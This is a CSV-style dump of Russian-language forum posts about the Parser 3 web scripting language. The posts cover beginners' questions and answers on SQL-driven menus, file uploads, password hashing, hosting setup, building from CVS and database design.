читаем [url=\"http://htmlcoder.visions.ru/JavaScript/?22\"]htmlcoder.visions.ru[/url]"
"39744","Делаю файл-менеджер. При открытии, я ему передаю параметры: file_type, filters и base_dir — тип файлов, маска (regexp) и корневая директория соответственно. В нем есть кнопочка «загрузить файл», при нажатии на которую открываю модальное диалоговое окно, которому тоже нужно передать как минимум filters, дабы проверить является ли загружаемый файл допустимым или нет. Идет примитивная проверка на расширение файла. Передавать параметры в диалоговое окно посредством javascript — было бы идеологически верно :), но не получается :(\
\
И еще столкнулся с проблемой: при загрузке файла, нужно перезагрузить страницу, а диалоговые окна не поддаются перезагрузке, т.е. открывается новое окно, как будто бы у формы указан target=\"_blank\"... :( Хочу попробовать вставить iframe и в него сабмитить, посмотрим что из этого выйдет ;)"
"39745","рус. это круто, но\
\
1. может случится проблема с кодировкой\
2. Ms Access через ODBC очень тормозной\
3. Сто пудово будут проблемы при переезде на др. хостинг, тем паче не win\
\
PS:  лучше сейчас изучать БД, чем тогда когда прижмёт\
PS2: Для русских названий полей можно юзать hash"
"39746","1. Почитайте [url=\"http://htmlcoder.visions.ru/JavaScript/?14\"]вот это[/url]\
2. Покажите эти кусочки кода..."
"39747","При открытии нового диалогового окна задай ему имя. Я когда-то делал открытие увеличенных картинок в новом окне, задавал ему имя, и любая новая картинка открывалась уже в открытом окне с определенным именем."
"39748","у вас теперь в PATH_TRANSLATED лежит бред.\
там оригинально должен лежать полный дисковый путь к .html файлу, чего сейчас не наблюдается.\
\
я совершенно не представляю, как с таким environment ваши хостеры думают, что будет работать ваша старая схема: где же тут имя запрашиваемого документа? как Parser разберётся, кого считать и выполнить?"
"39749","[code]\
select ... from table1 as a, table1 as b where a.some = b.other ...\
[/code]"
"39750","начните соединяться с базой без DSN, а как сейчас написано в документации.\
\
так вы упростите дальнейший перенос, избавившись от потенциально кривых рук человека, который был бы должен сделать вам вам DSN на hosting.\
\
\
Замечание: Parser тщательно перекодирует запросы, [b]заголовки ответов[/b], данные ответов и тексты ошибок согласно параметру соединения ClientCharset."
"39751","по аналогии с 3 -4 уроками написал код.\
из базы mysql вытаскиваются названия будущих разделов и формируются в menu. далее так же как с календарем (урок) на записи ставится конструкция типа <a href=\"/... </a>. все это у меня прекрасно работает, НО когда я пытаюсь перейти по сделанным ссылкам (<a href=\"/pump/?tip=$pump.kod_tipa\">$pump.Name_tipa_pump</a>) то получаю \
Not Found\
The requested URL /pump/ was not found on this server\
\
то есть задача при нажатии на ссылку в разделе body_main вывести информацию содержащуюся в sql таблице по коду присвоенному переменной tip.\
я думаю что дело в auto.p, привожу текст\
@pump[]\
^connect[$connect_string]{\
$pump[^table::sql{select\
       Name_tipa_pump, kod_tipa from tip_pump}]\
   ^if($pump){\
 ^pump.menu{<a href=\"/pump/?tip=$pump.kod_tipa\">$pump.Name_tipa_pump</a><br> \
      }[<br>] \
   }}\
\
в index.html в body_additional вызываю ^pump[] - меню строится\
в body_main: \
^connect[$connect_string]{\
$pump[^table::sql{select\
       Name_tipa_pump, kod_tipa  \
   from tip_pump where kod_tipa='$tip'}]\
   ^if($pump){ \
      ^pump.menu{ \
         <b>$pump.kod_tipa - $pump.Name_tipa_pump</b><br> \
         ^untaint{$pump.Name_tipa_pump}<br> \
      }[<br>] \
   }}\
\
C Уважением"
"39752","Прежде всего а есть ли файл в папке /pump/, к которому происходит обращение.\
\
ну а также если искать переданный параметр $tip, то правильние \
написать так:\
[code]\
$pump[^table::sql{select\
Name_tipa_pump, kod_tipa\
from tip_pump where kod_tipa='[color=\"#ff0000\"]$form:tip[/color]'}]\
[/code]"
"39753","чем быстрее вы перестанете использовать русский и translit в коде - тем будет лучше, imho.\
\
начав использовать английские слова в коде ваш код будет проще читать другим, вы сами привыкните нормально именовать переменные английскими словами ($value а не $znachenie или $значение) и вам самим проще станет читать как англоязычную документацию так и код англоговорящих людей.\
\
[quot]\
не думаешь как в соответсвии с именем поля присвоить русский эквивалент.\
[/quot]\
1. не думать - отстой в любом случае\
2. открываете словать (lingvo, translite) и переводите, а не придумываете."
"39754","На данный момент в ситуациях \"неверный юзер\" и \"неверный пароль\" выдается один статус \"user_not_found\". ИМХО полезно для улучшения интерфейса с юзером различать эти ситуевины."
"39755","http://www.parser.ru/en/forum/?id=39689"
"39756","В Opera реализована \"функция перезагрузки страницы\" при изменении ее (страницы) размера."
"39758","http://www.itequips.com/_test.html or not?"
"39759","обращение идет не к файлу в папке pump а к записи в БД.\
параметр передается и так далее\
\
ваша конструкция работает!\
\
Спасибо за содействие\
\
еще вопрос если не против ответить\
как в данной конструкции при сохранении выбранного пользователем файла сохранить его с именем которое берется из form:name.\
или хотя бы как сделать чтоб файлы сохранялись с разными именами.\
\
\
Фото: <input type=\"file\" name=\"photo\"> \
^if(def $form:photo){ \
    ^form:photo.save[binary;/pump/photos/$photo] \
} \
\
Спасибо"
"39761","когда пнёшь. приходите/спрашиваете и замолкаете :)"
"39762","Просто я работал всю неделю. Времени не было, честно слово.\
2 дня выходных, может что-то удастся сделать.\
\
Я буду звонить им и поговорю на счет того, что вы сказали."
"39763","я сначала бы добился, чтобы проект работал.\
и уже вторым шагом добивался бы, чтобы он работал быстрее (на один fork меньше)."
"39764","Проблема вот какая:\
\
Есть метод, который возвращает таблицу всех файлов, по указанному\
пути, удовлетворяющих маске (if def $mask) и во всех вложенных\
каталогоах (if !def $root), а также может список сохранить в файл:\
[code]\
@list_files[path;mask;onlyroot;savepath][list]\
^if(!def $mask){\
$mask[\\.*]\
}\
^if(-d $path){\
        $list[^file:list[$path]]\
        ^if($list){\
                ^list.menu{\
                        ^if((-f \"${path}$list.name\") && ^list.name.match[$mask]){\
                                ^if(def $list_of_files){\
                                        $list_of_files[$list_of_files\
${path}$list.name]}{\
                                        $list_of_files[${path}$list.name]\
                                }\
                        }\
                        ^if(-d \"${path}$list.name\" && !def $onlyroot){\
                                ^list_files[${path}${list.name}/;$mask]\
                        }\
                }\
        }\
}\
^if(def $savepath){\
        ^if(def $list_of_files){\
                ^list_of_files.save[$savepath]\
        }{\
                $no_files[iao oaeeia]\
                ^no_files.save[$savepath]\
                $result[]\
        }\
}\
^list_of_files.save[tbl.xtxt]\
$result[$list_of_files]\
[/code]\
\
Метод лежит в файле func.p, который подключается юзом:\
[code]\
@auto[]\
^use[func.p]\
^use[stat.p]\
[/code]\
Метод вызывается так, например (из stat.p):\
[code]\
$files1[^table::create[nameless]{^list_files[/logs/;\\.log^$;;/temp/a.txt}]\
[/code]\
метод работет правильно и в таблице files1 те файлы, которые нужны\
но если метод вызвать еще раз там же\
[code]\
$files2[^table::create[nameless]{^list_files[/base/;\\.log^$}]\
[/code]\
то в таблице files2 оказываются и файлы из первого зароса и из\
второго. :(\
\
Понимаю, что дело тут в локальных переменных, но так и не смог найти\
решения, как $list_of_files сделать локальной, поскольку ф-ция\
рекурсивная, то обьявление ее локальной в методе приводит к\
неработоспособноти метода...\
\
Помогает вот такое решение, но мне оно кажется некорректным:\
[code]\
$files1[^table::create[nameless]{^list_files[/logs/;\\.log^$;;/temp/a.txt}]\
$list_of_files[]\
$files2[^table::create[nameless]{^list_files[/base/;\\.log^$}]\
$list_of_files[]\
[/code]"
"39765","Ситуация такая:\
У меня есть 3 сайта, которые работают на хостинге Арбатек.\
\
Кстате, www.315robindr.com поменялся на www.315robindr.net.\
\
Я конечно не тестировал сайты на скорость работы (просто не знаю как это сделать), но никто вроде не жаловался.\
\
Теперь мне надо больше места, вот я и начал искать новый хостинг. Все мои сайты сделаны на Парсере, и по этому я его первым делом хочу поставить и настроить его.\
\
Спасибо за помощь. Я обязательно напишу, чем дело кончится."
"39766","Хотел уточнить, будет ли такая фишка в парсере, или продолжать\
ваять на PHP и подключать к парсеру?"
"39767","писали совсем о другом hosting."
"39768","Parser и PHP в одном файле не совместимы. Но у меня не запускайтся файл .php\
\
То есть www.сайт.ru/newfile.php - Ошибка"
"39771","дело в том, что я не могу поменять имя файла. Мне нужно чтобы имя файла осталось неизменным т.е. имя должно быть newfile.php и обращение должно быть к нему"
"39774","Может я чего не догоняю? У мня есть файл в котором 5 строк текста на PHP. Имя у этого файла newfile.php Поменять имя не могу т.к. оно прописано в ссылках с других сайтов. Нужно чтобы при обращении именно к этому файлу newfile.php все работало. А Вы мне предлагаете в файл на парсере поместить ^file::cgi[имя файла], но при этом обращение д.б. не к файлу .php"
"39775","а файл начать с \
#!/путь/к/parser_3/parser3.cgi"
"39776","передавайте её к себе в рекурсию параметром.\
только храните там сразу таблицу, иначе к ней нельзя будет ничего добавлять."
"39777","я встрою, как только он пришлёт :)"
"39778","ИМХО, английский учится легче, чем транслит тот же ))\
И правда, что мешает написать value вместо znachenie...\
\
ЗЫ самый забавный код, который я читал, был в перемешку... метод звался, например так: delete_korzina.\
После этого не понятно, не значет ли человек английского или русского..."
"39779","Добралась до Parser'а 3 и тут же начала тупить... Вообщем суть \"беды\".\
\
Необходимо вывести меню-навигацию следующего вида\
\
Заголовок_1\
Подзаголовок_1_1\
Подзаголовок_1_2\
\
Заголовок_2\
Подзаголовок_2_1\
Подзаголовок_2_2\
Подзаголовок_2_2\
\
и т.д. в зависимости от количества разделов и подразделов\
\
Не могу сообразить как это лучше сделать... все как-то слишком сложно получается. Чур, помидорами не кидаться, знаю, что туплю :)"
"39780","А я покажу до чего додумались представители сообщества.\
Вы первая, правила такие :)"
"39782","Что-тол у меня не получается загрузить из CVS парсер:\
\
делаем: cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
\
На вопрос о пароле вводим [Enter]\
\
какое-то время ждём и...\
\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login \
Logging in to :pserver:anonymous@cvs.parser.ru:2401:/parser3project\
\
***** CVS exited normally with code 0 *****\
\
Ничего нет :("
"39783","Таблицы SQL - sql_goods\
             \
Наименование Книга1    Книга2    Книга3    Книга4     Книга5\
Дата         12.12.94  07.03.85  03.02.91  05.07.90   02.03.04  \
Автор        Золушкин  Васечкин  Петров    Иванов     Сидоров\
Стоимость    101р      260р      1000р     520р       666р\
\
Помогите, каким методом выбрать из этой таблицы данные, например от Книги2 до Книги4. Пытался через hash_of_hash, но не знаю как его вывести. Или как вывести это дело через цикл? По возможности, напишите, пожалуйста код. В нем я сам разберусь."
"39784","В моем случае, я засылаю на страницу PHP данные, там они по\
сокету отправляются на сервер и полученный результат я вывожу\
^file:load и ^untaint{$file.text}\
Локально (из под Денвера)все работает.\
Когда же я выложил на сервак - пишет ошибку в лог:\
: 'load' timeout occured while retrieving document [http.timeout]\
На сколько я понял, пока обрабатывается php-скрипт, срабатывает\
тай-аут.\
Бывали ли у вас такие случаи и что предпринять."
"39785","Зашифровал по такому же алгоритму, что и расшифровка.\
\
Уже зашифрованный: [code]$cr[$apr1$z/sEC/vi$G16RUW/wI0.IMo/TIQrBW][/code] (admin)\
\
\
Расшифровка:\
\
[code]\
$right[admin]\
$from_user[$cr]\
$crypted[^math:crypt[$right;^$apr1^$]]\
\
$crypted<br>\
^if(^math:crypt[$from_user;$crypted] eq $crypted){\
    Казнить нельзя, помиловать\
}{\
    Казнить, нельзя помиловать\
}\
[/code]\
\
Даже местами менял значения переменных $right и $from_user. Но одно и то же: \"Казнить, нельзя помиловать\"."
"39786","В \"Сборка Parser из исходных ...\" есть еще\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r имя_ветки имя_модуля \
То, что было введено Вами - регистрация. get (или checkout) следующая команда"
"39788","$apr1$z/sEC/vi$G16RUW/wI0.IMo/TIQrBW != admin"
"39789","Или я не чего то не так сделал...\
в итоге может и не красивое решение, но работет\
добавил вспомогательный метод \
[code]\
@list_files[path;mask;onlyroot;savepath][tbl]\
$list_of_files[]\
$tbl[^_list_files[$path;$mask;$onlyroot;$savepath]]\
$result[$tbl]\
\
@_list_files[path;mask;onlyroot;savepath]\
\
.........\
\
$result[$list_of_files]\
[/code]\
который сначала обнуляет глобальную переменную $list_of_files, а потом вызывает метод обхода каталогов в том же виде. Наверно в таком подходе есть недостатки, но я их пока не вижу"
"39790","эта контора вообще странная. Я с ними завязал. Сейчас пытаюсь с сайтом (http://www.westnic.net/) из раздела \"в действии\" связатся, но они уже 3 дня не отвечают. Завтра буду звонить..."
"39791","В каком виде у вас хранятся эти самые разделы и подразделы?.."
"39792","А в чем проблема?\
\
Есть LIMIT в SQL, ну есть конечно locate в самом Парсере.\
 \
\
И hash я думаю тут не причем.\
\
Хотя может кто-то приедложит что-то с hash."
"39793","Вы, наверное, подумали, что это код:\
\"$cr[$apr1$z/sEC/vi$G16RUW/wI0.IMo/TIQrBW\
(admin)\"\
Просто, я имел ввиду, что в $cr хранится зашифрованное слово \"admin\"."
"39794","Я предполагала хранить данные по имени и пути в cfg'шниках.\
Типа:\
name url"
"39795","а вы уверены, что пользователь в форме должен вводить именно строку: '$apr1$z/sEC/vi$G16RUW/wI0.IMo/TIQrBW'?\
\
мне кажется не каждый мазохист на это согласится.\
\
должно быть:\
$from_user[$form:password]\
$crypted[$cr]\
\
ну и соответственно при определении $cr надо не забывать '^' перед '$'"
"39796","у вас страничка эта на .php не работает сама по себе? забудьте про parser, почините её, потом приходите, по другому сформулировав ваш вопрос (сейчас непонятно, что вам нужно)"
"39797","есть рекурсивная штука, она производит результат в виде строк.\
ничто не мешает пользоваться ею так:\
[code]\
@main[]\
$list[^table::create{name}]\
^fill_list[...;$list]\
\
@fill_list[...;list]\
...\
^list.append{line}\
...\
^fill_list[...;$list]\
...\
[/code]"
"39799","если ещё есть возможность, бегите от такой структуры в лес.\
\
в любой (даже самой тонкой) книжке по SQL вам расскажут, что таблицы в такой структуре создавать не нужно.\
\
сделайте что-то более плоское — прожиточный минимум, не идеал:\
author [author_id, name]\
book [book_id, some_date, author_id, some_price]\
\
по хорошему, стоит немножко заглянуть в будущее: будет будут ли продаваться кроме книг другие товары (обычно, \"да\"), будут ли группы/подгруппы товаров (обычно, \"да\": для книг \"детские/сказки\", \"детективы\", \"fantasy\", ...)\
нужен ли остаток на складе?\
если книга перестала продаваться, как-то её временно надо временно прятать с витрины (до лучших времён).\
вы поняли направление..."
"39801","не сложилось. пусть люди напрягаются, думают, как вам помочь, им не нужно писать, что «с теми дураками я больше не пытаюсь сварить кашу»."
"39803","Я пытаюсь поставит Прасер на хостинг godaddy.com, это у них не правильно настроен сервер (ни каких других попяток не было).\
 \
Я сегодня звонил им, но опоздал на 30 мин админы свалили... Буду опять звонить может что-то получится настроит. \
\
На другом хостиге (тот с которым не сложиолось) я даже не пытался ничего поставить, просто до этого момента не дошели мы с ними. Все вопросы и добавления были на одном и том же хостинге, том с которого все начиналось.\
\
Большое спасибо за помощь, я надеюсь что удастся настроить Парсер."
"39804","Ну а как тогда выводить из SQL данные, пусть не в виде таблицы, но чтобы была возвожность вывода с параметрами."
"39805","Исли переношу этот файл на другой сайт, где не установлен парсер, все работает. На нужном сайте не работает. Причем если изменит расширение на .php3 тоже работает, а вто с .php ни как не хочет"
"39806","так вам и предлагают создать таблицу, точнее даже 2, для того что бы было легче выводить данные."
"39808","вопрос к этому форуму отношения никакого не имеет."
"39809","$sections[^table::load[/sections.cfg]]\
Заголовок_1\
^sections.menu{\
<tr>\
       <td><a href=\"$sections.uri\"><nobr>$sections.name</nobr></a></td>\
</tr>\
}"
"39811","я не делал это по той причине что сам я в любом случае никогда не буду сообщять тому кто вводил логин/пароль что именно неверно. ответ \"неверная комбинация логин/пароль\" считаю более чем достаточным.\
\
хотя в принципе разделить это не должно составить большой проблемы. \
\
также не проблема выяснить в случае возникновения этой ошибки есть-ли пользователь с таким логином или нет и сообщить подробности если вам необходимо (^if(^getUser[$.name[$logon_data.[auth.name]]]){неверный пароль}{неверный логин})."
"39814","идею и реализацию можно брать тут http://www.egoroff.spb.ru/portfolio/15.html\
\
ничего не мешает подправить пример под себя"
"39815","Вот как я это делал:\
\
1. Заношу в базу пароль:\
\
$crypted[^math:crypt[$form:password;^$apr1^$]]\
\
2. Вытаскиваю пароль и сверяю его с зашифрованными введенными  данными:\
\
$admin[^table::sql{\
SELECT login, password\
FROM admin\
WHERE login = '$form:login'\
}]\
\
\
$right[$admin.password]\
$from_user[$form:password]\
\
\
# Вот здесь не могу разобраться, что куда идет:\
\
$crypted[^math:crypt[$from_user;^$apr1^$]]\
\
^if(^math:crypt[$right;$crypted] eq $crypted){\
    Совпало\
}{\
    Не совпало\
}\
\
Что же не так?"
"39816","[code]Pos rlike \"^^^p.match[(a\\d+)^$][g]{}a[0-9]+^$\"[/code]\
\
кривовато, но работает :)"
"39817","P.S. данные вводятся не зашифрованными, они храняться зашифрованными."
"39819","Я не вижу принципиальной разницы между Вашим вариантом и своим.\
В Вашем создается обьект-таблица, в моем переменная с табличными данными. Мой вариант работает, Ваш вероятно тоже. Есть ли между ними разница? Может в производительности, читаемости или что то еще?"
"39820","Спасибо огромное, теперь я поняла как это проще сделать :)"
"39821","Сегодня позвонил в эту конторку...\
Они все свалили на скрип и сказали что сделать ничего не могут...\
	[quot]\"Исправьте скрип и настройте его под наш сервер и все будет работать...\"[/quot]\
\
Поиски нового хостинга продолжаются..."
"39822","Перерыл форум и яндекс, но так и не нашел однозначного ответа удалось ли кому-то собрать parser3 на пятой фре?\
У меня во время сборки выдает ошибку:\
[quot]\
../../src/include/pa_stack.h: In member function `void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to `count' that depend on a template parameter, so a declaration of `count' must be available\
../../src/include/pa_stack.h:23: error: (if you use `-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function `T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: `fused' undeclared (first use this function)\
../../src/include/pa_stack.h:44: error: (Each undeclared identifier is reported only once for each function it appears in.)\
../../src/include/pa_stack.h:45: error: `felements' undeclared (first use this function)\
[/quot]\
\
Параметры configure ./configure --prefix=/home/saygak/parser3-cgi/  --disable-safe-mode --with-shared-gc=/usr/local/lib \
\
libgc cтал без вопросов.\
\
что с ним делать -- ума не приложу.\
\
Може у кого есть готовый бинарник? Поделитесь, пожалуйста."
"39829","я привёл вам прямую ссылку.\
вы клиент, или вы не клиент? :)"
"39830","в форуме есть исчерпывающий ответ и находится он тривиальным поиском."
"39832","Самое близкое решение, насколько я понял -- откатиться на старый gcc. А попроще и пореалистичнее ничего нет?"
"39834",":) и то правда... а чтоб одним регекспом, то никак ..."
"39835","Вытащил cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3\
\
configure\
gmake\
gmake install\
\
без сучка и задоринки.\
Еще раз спасибо дорогим разработчикам!\
\
ЗЫ: в качестве блоагодарности могу сфотографировать ящик пиффа и выслать ао e-mail :-)))"
"39836","имейте в виду, что в получившемся бинарнике нет классов xdoc/xnode.."
"39838","нужен метод, на вход которому подается произвольная таблица, с неопределенным количеством строк и столбцов. Нужно найти в ней повторяющиеся строки, посчитать их и сформировать новую таблицу, в которой будут только уникальные строки и еще один стобец, в котором количество повторений.\
учитывая достаточную бедность в работе с таблицами у парсера, у меня не получается придумать как это сделать, для таблиц произвольной структуры. Для известной без проблем, само собой.\
\
Подскажите, в каком направлении двигаться хоть? (в случае использования СУБД все понятно, а вот без нее как?)"
"39839","попробуйте сначало сделать с определенным кол-вом строк и одним столбцом, который вы знаете. Если получится, можно переходить к неопределенностям :)"
"39840","написать-то его не сложно, но по моему он будет очень рессурсоемкий.\
\
может приведете решаемую задачу?"
"39841","Пользователю выводятся checkbox. Он может выбрать неограниченное колличество значений. Вопрос: как лучше хранить эти значения в бд?\
Я нашел два способа - сохранять все значения (для одного пользователя) в одной ячейки бд, разделяя их каким-то разделителем либо, добавлять на каждое выбранное значение новую строку в бд.\
По превому способу вопрос такой: есть ли нормальные способы разделения значений в одной ячейке?\
По второму способу: если пользователь выберет достаточно большое колличество значений, не будет ли большой нагрузки на бд?\
\
Может есть какие-то более удобные способы?\
P.S значения добавляемые в бд, должны читаться, т.е. в ячейку добавляются переменные типа integer, затем после извлечения оттуда в соответствие переменной ставится строковая переменная типа string."
"39842","А задача то в общем уже описана.\
есть несколько таблиц, их нужно преобразовать, в каждой убрав повторяющиеся строки и где то сохранить, сколько было повторений у каждой строки.\
Вообще то структура таблиц известна, но она разная, а задача одна, поэтому и хочется написать универсальный метод. Хотя может я не прав, и не стоит заморачиваться, написав по одному простому методу, для каждой таблицы (что действительно несложно, и уже один такой метод написан). \
Собственно и интересует - насколько это будет ресурсоемко, как написать оптимальный код, на основе какого алгоритма.\
\
Таблицы, к слову небольшие, до 100 строк примерно\
\
Отвечая сразу на вопрос товарища D - эта задача уже решена, но она не интересна."
"39843","Могу ошибаться, но на мой взгляд, нагрузка на систему при разборе строк будет выше чем чуть более громоздкий запрос к базе. Плюс к этому, второй вариант гораздо более прозрачнее и для Вас и для тех, кто будет разбираться с Вашим кодом."
"39844","Я тоже предерживаюсь 2 способа, т.к. в этом случае можно будет без проблем доставать значения и вести поиск.\
\
Спасибо!"
"39845","это не исходня задача, по моему. исходная - сбор и отображение каких-то данных. по моему надо накапливать данные иначе.\
\
оределена страктура таблицы или нет - не важно. есть ^таблица.columns[]\
\
насколько решение будет рессурсоемко заранее сказать нельзя. можно сделать его и измерить. если делать в лоб то:\
0. пишется метод @checksum[] который должен выдать уникальный ключ строки. например можно возвращать md5 от всех ячеек строки\
1. $уникальные[^таблица.hash{^checksum[$таблица]}[$.distinct[tables]]]\
2. ^уникальные.foreach[k;v]{checksum: $k, строк: ^v.count[]}[<br />]"
"39846","но PS не понял."
"39847","В PS я имел ввиду, что значения в ячейке (если их записывать через разделитель) должны читаться, т.е. примерно так:\
в ячейке 10-20-30-31\
Выбираем:\
SELECT * FROM ... WHERE sp_id=10\
т.е. бд должно искать без помощи Parser.\
\
Значит добавление новых строк нормальный способ?\
\
Спасибо!"
"39848","[quote]сохранять все значения (для одного пользователя) в одной ячейки бд, разделяя их каким-то разделителем либо, добавлять на каждое выбранное значение новую строку в бд.[/quote]\
Нарушение 1-й нормальной формы.\
\
Вопрос - что бывает когда что-то эксплуатируют в нештатном режиме? Правильно, - лажа."
"39849","На страничке есть вывод, например, 15 строчек с заголовками. Эти заголовки из SQL-таблицы. Что мне сделать, чтобы при нажатии на какой-либо заголовок, в отдельном окне отображалось бы тело.\
\
Пример\
\
1.Если ты здесь щелкни...\
2.Никого нет дома\
3.Заходи к нам, почитаем\
4.Никто меня не ждет\
...\
Щелкаем, например, по заголовку 2 и на другой странице нам выводит следующее.\
\
Никого нет дома, потому что все ушли.\
\
Не писать же всем href. Когда их мало понятно, а если их несколько сотен?"
"39850","как бы это сказать... на веб href (ссылки) - это нормально :)"
"39851","или вопрос стоит вручную сотню href писать?\
тогда конечно не надо вручную, делайте в \
[code]\
  ^bla-bla.menu{\
    <a href=che_tam_u_vas.html?param=$bla-bla.param>$bla-bla.text</a>\
  }\
[/code]\
и внутри che_tam_u_vas.html появится текстовая переменная $form:param"
"39852","Я уверен на 100% и многие, кто сейчас широко использует парсер, со мной согласятся.\
Если под parser наконец появится компилятор или хотябы предкомпилят какой-нить типа Zope на PHP (не люблю PHP =). То у parser`a начнется новая жизнь. \
\
А PAF`ы и ребята из его окружения смогут начать зарабатывать на этом проекте (ну там англ. язычный рынок, платный суппорт, etc). \
\
Всмпоминая то же начало PHP, там он начал активные действия имея далеко не гладкие формы. Да и по сей день, там не все в порядке =)\
\
У парсера же много лаконичных форм, и вскоре \"подсаживаешься\" \
на его диалект. Втроенные механизмы taint и untaint, класс table и много чего - вообще приятные вещи.\
\
Но!!!  Сейчас не то, что было 1997-ом, 98. \
Сейчас очень востребован закрытый код серверных скриптов.\
И скорость! Ну невозможно же постоянно на C`ях писать, свои классы - это шаг назад, пока все что нужно напишешь уйдет время, да и получается парсер, только свой =)\
\
Тезис: PAF, или другие by powered PAF, не желаете начать серьезную кампанию по parser?\
\
IMHO коммерческие рельсы и договорные обязательства дадут стимул к автивным действям. А то заходя на форум я так и буду постоянно читать новости поршлого года.\
\
P.S.: Может просто страх мешает?\
P.P.S.: Может когда-нибудь увижу модуль parser`a включенного в пакет Apache какого-нибудь известного дистрибутива Linux"
"39854","Хорошо, тогда так. У меня есть вывод заголовков новостей на одной страницы, где они - анонсы. Что мне нужно сделать, чтобы при нажатии на заголовок новости, открывалась XML'ка с телом этой новости. И как это осуществить. Хотя бы намекните :-) Только прозрачно...\
\
С уважением, Rezook"
"39855","Пишу мультиязычный сайт. Разные версии разложены по папкам к примеру:\
\
/ukr/ - українська версія\
/rus/ - русская версия\
/eng/ - english version\
\
Каким образом лучше всего передавать переменную языка (к примеру $LANG) для пользовательских классов, при том, чтобы это делалось автоматом, т.е. через глобальную переменную, которую я бы к примеру описывал в руте соответствующей языковой версии сайта (auto.p).\
\
Заранее благодарю за Ваши ответы.\
\
Ой, простите, но я уже нашел... :)"
"39856","Нашел новый хостиг (на вашем сайте... :)) \
все втало и работает с пол клика...\
\
\
P.S. \
\
Есть место для маленьких проектов за умеренные деньги, если кому интересно пишите."
"39857","[code]\
$news[^table::sql{SELECT ...}]\
^news.menu{\
	<a href=\"/news/?id=$news.id\">$news.anons</a>\
}[<hr>]\
\
##############################\
\
$news[^table::sql{SELECT ... WHERE id = ^form:id.int(0)}]\
^if($news){\
	^news.menu{\
		$news.full_text\
	}\
}{\
	Новости с указанным id ($form:id) нет в базе данных.\
}\
[/code]"
"39858","Читай 2 egr - он прав тут налицо нарушение нормализации Бойсса- Кодда.\
Короче не парь мозг:\
\
[code]\
1. Таблица - Users\
\
ID(Pkey) |  User  | Attr   | Checkboxes(Fkey)\
---------+--------+--------+------------------\
 1       | Sasha  | blah   |  1\
---------+--------+--------+------------------    \
 ...     |  ...   |  ...   |  ...\
\
\
2.Таблица - Боксы\
\
ID(Pkey) |  box1  | box2   | box3     |  ...\
---------+--------+--------+----------+-------\
 1       |   yes  | no     |  yes     |  ...\
---------+--------+--------+----------+-------    \
 ...     |  ...   |  ...   |  ...     |  ...\
\
\
P.S.: Если и box`ов у каждого юзверя разное число (вернии они индивидуальные у каждого (что вообще странно !)\
То на лицо XML-деревья, а значит с ними и организуся.\
Но не нормальные формы - всегда будут отжирать ресы.\
\
\
\
[/code]"
"39859","Такой вопрос:\
есть таблица \
| id | number |\
\
в number валятся числа, случайно. Как из этой таблицы наиболее оптимально получить к такую:\
| number | count |,\
где count - число вхождений соотв. числа number в исходную таблицу.\
\
Как не убить проц и кучу времени на этот переход при количестве строк исходной таблицы много больше 65000?"
"39860","если галочек относительно немного, скажем, точно больше 32х не будет, и нужна большая скорость поиска в большом массиве данных, то это особенный случай, когда можно обойтись одной таблицей.\
\
он уже обсуждался:\
http://www.parser.ru/forum/?id=22414"
"39861","этот вопрос, конечно, уже обсуждался, вкратце:\
\
1. если кому-то нужно, любой байткод всегда несложно вернуть в его первозданный вид (.net: anakrio, reflector; java: jad).\
\
2. написание проекта на интерпретируемом языке неявляется препятствием к закрытию кода, скажем, InterShop написан большей частью на perl, однако успешно продаётся, исходники его хитроспрятаны. однако см. (1).\
\
3. возьмём Студию: мы делаем коммерческие проекты, включая большие, на Parser. исходники этих проектов нашим клиентам доступны, и им приятно, что приобретя от нас решение, они продолжают контролировать происходящее. обычно в каждом проекте достаточно специфики, которая требует квалифицированного человека/нескольких, чтобы её реализовать для данного клиента, поэтому никому нет большого смысла брать решение для проекта Х и тупо отдавать его кому-то для использовании в проекте Y. поэтому мы не видим большого смысла в том, чтобы что-то куда-то прятать.\
\
если вам представляется это необходимым, подумайте о 1 и 2."
"39862","Спасибо, все нормально законтачило!"
"39863","а если таблица лежит в базе данных, то см. самую тоненькую книжку по SQL."
"39864","А чего нашел ? Просто тоже решаю похожую задачу."
"39865","Хотела сделать список сотрудников. Процедура iis_corp_Worker_Select выводит все записи, которые заносятся в переменную $sql_table. Если тупо выводить все записи, конечно все работает.\
\
Попыталась усложнить вывод таблицы со списком - выводя \"Название отдела_1\", потом всех сотрудников относящихся к этому отделу, затем снова \"Название отдела_2\" и т.д.\
\
\"Название отдела_1\"\
Сотрудник_1\
Сотрудник_2\
Сотрудник_3\
Сотрудник_4\
\
\"Название отдела_2\"\
Сотрудник_1\
Сотрудник_2\
Сотрудник_3\
\
Всего отделов 6.\
\
Никак не могу сообразить как один раз вывести \"Название отдела\", чтобы оно не дублировалось с каждой записью \
\
\
[code]\
^connect[$connect_string]{$sql_table[^table::sql{exec iis_corp_Worker_Select 0}]}\
\
\
<table width=\"95%\" cellspacing=\"1\" cellpadding=\"5\"> \
^for[$sql_table.Worker_Division_ID](1;6){ \
				<tr bgcolor=\"#FFFFFF\">\
					<td colspan=\"7\" align=\"CENTER\">$sql_table.Worker_Division_Name</td>\
				</tr>\
		^sql_table.menu{\
				<tr bgcolor=\"#FFFFFF\">\
					<td><b>$sql_table.Worker_Name</b> <br><a href=\"mailto:$sql_table.Worker_EMail\">$sql_table.Worker_EMail</a></td>\
					<td>$sql_table.Worker_Position</td>\
					<td align=\"CENTER\">$sql_table.Worker_Phone_local</td>\
					<td align=\"CENTER\"><nobr>$sql_table.Worker_Phone_mobile</nobr></td>\
					<td align=\"CENTER\">$sql_table.Worker_Room</td>\
					<td align=\"CENTER\">$sql_table.Worker_BirthDateShort</td>\
				</tr>\
			} \
}			\
		</table>\
[/code]\
\
